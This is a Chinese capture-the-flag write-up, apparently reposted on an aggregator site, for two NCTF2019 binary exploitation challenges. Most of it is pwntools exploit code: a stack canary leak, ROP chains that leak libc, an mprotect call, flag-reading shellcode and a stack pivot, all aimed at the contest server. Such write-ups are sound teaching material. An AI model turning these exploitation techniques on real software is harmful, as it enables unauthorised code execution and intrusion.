NCTF2019 -- PWN部分writeup
生活随笔
收集整理的這篇文章主要介紹了
NCTF2019 -- PWN部分writeup
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
pwn學習總結(jié)(二) —— PWN部分writeup
- warmup
- easy_rop
warmup
查看程序防護:
查看反匯編:
已知條件:
EXP:
#-*- coding: utf-8 -*- from pwn import * context.log_level = "debug" context.arch = "amd64"elf = ELF('./warm_up') libc = ELF('./libc-2.23.so')r = remote('139.129.76.65', 50007)r.recvuntil('warm up!!!\n') #距離canary24個字節(jié),換行符0x0a會占據(jù)canary最后一個字節(jié),使得canary發(fā)生泄露 r.sendline('a'*24) r.recv(25) #丟棄前25個字節(jié),包括用于泄露canary的'\x0a' canary = '\x00' + r.recv(7) print(hex(u64(canary)))pop_rdi_ret = 0x400bc3 pop_rsi_r15_ret = 0x400bc1 start_addr = 0x400910 bss_addr = elf.bss() puts_plt = elf.symbols['puts'] libc_start_main_got = elf.got['__libc_start_main']#leak libc payload = 'a'*24 + canary + 'b'*8 payload += p64(pop_rdi_ret) payload += p64(libc_start_main_got) payload += p64(puts_plt) payload += p64(start_addr)r.recvuntil(' ?') r.sendline(payload)libc_start_main = u64(r.recv(6).ljust(8,'\x00')) #print('libc_start_main = ' + str(hex(libc_start_main))) libc_base = libc_start_main - libc.symbols['__libc_start_main']gets = libc_base + libc.symbols['gets'] mprotect = libc_base + libc.symbols['mprotect'] pop_rdx_ret = libc_base + libc.search(asm("pop rdx\nret")).next()r.recvuntil('warm up!!!\n') r.sendline('a')payload = 'a'*0x18 + canary + 'b'*8 #向bss + 0x500位置寫入shellcode payload += p64(pop_rdi_ret) + p64(bss_addr + 0x500) + p64(gets) #構(gòu)造mprotect,更改內(nèi)存保護屬性 payload += p64(pop_rdx_ret) + p64(7) #設置保護屬性 payload += p64(pop_rsi_r15_ret) + p64(0x1500) + p64(0) #設置大小 payload += p64(pop_rdi_ret) + p64((bss_addr>>12)<<12) #設置起始地址 payload += p64(mprotect) #調(diào)用mprotect #修改內(nèi)存保護屬性后,令RIP指向下方構(gòu)造的shellcode payload += p64(bss_addr + 0x500)r.recvuntil(' ?') r.sendline(payload)payload = shellcraft.open("flag") #將遠程flag文件內(nèi)容寫入緩沖區(qū),open成功時返回值為3 # fd address size payload += shellcraft.read( 3, bss_addr+0x100, 0x30) payload += shellcraft.write(1, bss_addr+0x100, 0x30)r.sendline(asm(payload)) r.interactive()由于服務器在寫完wp后連不上了,這里放一張本地執(zhí)行成功的截圖,環(huán)境:ubuntu16.04
easy_rop
查看程序防護:
查看反匯編:
調(diào)試的時候發(fā)現(xiàn)main函數(shù)的rbp居然是pie,而返回地址下面第四行是main函數(shù)自己的頭部指針
已知條件:
解題思路:
令rsp指向main函數(shù)頭部指針,retn后再次執(zhí)行main函數(shù)
注意:exp中沒有對負數(shù)進行處理,可能需要多打幾次才行
Leak Libc EXP:
#-*- coding: utf-8 -*- from pwn import * context.log_level='debug'elf = ELF('./easy_rop')#r = process('./easy_rop') r = remote('139.129.76.65', 50002)'''first main''' r.recvuntil('number 0: ') #bypass canary for i in range(0,30):r.sendline('+')#get pie r.recvuntil('number 28 = ') pie_l8 = int(r.recvuntil('\n',True), 10) r.recvuntil('number 29 = ') pie_h8 = int(r.recvuntil('\n',True), 10) pie = (pie_h8 << 32) + pie_l8 - 0xb40def send64(num):#low 4byteif num % 0x100000000 > 0x7fffffff:r.sendlineafter(':', str((-1 * num) % 0x100000000))else:r.sendlineafter(':', str(num % 0x100000000))#high 4byter.sendlineafter(':', str(num >> 32))new_stack = pie + 0x201420 - 8 pop_rdi_ret = pie + 0xba3 general_gadget = pie + 0xb80 leave_ret = pie + 0xb31 pop_rbp_r14_r15_ret = pie + 0xb9f pop_rbx_rbp_r12_r13_r14_r15_ret = pie + 0xb9a#return to main #the end rsp point to the main send64(pop_rbp_r14_r15_ret) #rbp to new stack send64(new_stack) r.sendlineafter('name?\n', '1')'''secend main''' r.recvuntil('number 0: ') for i in range(0,28):r.sendline('+')#rsp to new stack #rbp to new stack-8(pie + 0x201420) send64(new_stack) #number 28 & 29 -- rbp send64(leave_ret) #number 30 & 31 -- return address r.sendlineafter('number 32: ','++') # number 32 & 33r.recvuntil('name?\n',True) #leak libc payload = p64(pop_rdi_ret) payload += p64(pie + elf.got['__libc_start_main']) payload += p64(pie + elf.plt['puts'])r.sendline(payload) libc_start_main = u64(r.recv(6).ljust(8, '\x00')) print('libc_start_main = ' + hex(libc_start_main))r.interactive()
通過后三位偏移,使用在線網(wǎng)站libc database search搜索libc版本
Getshell EXP:
本地一直無法成功,連上服務器能夠成功getshell,暫時未定位到問題所在
總結(jié)
以上是生活随笔為你收集整理的NCTF2019 -- PWN部分writeup的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: pwn学习总结(三) —— 栈溢出经典题
- 下一篇: Windows进程与线程学习笔记(六)—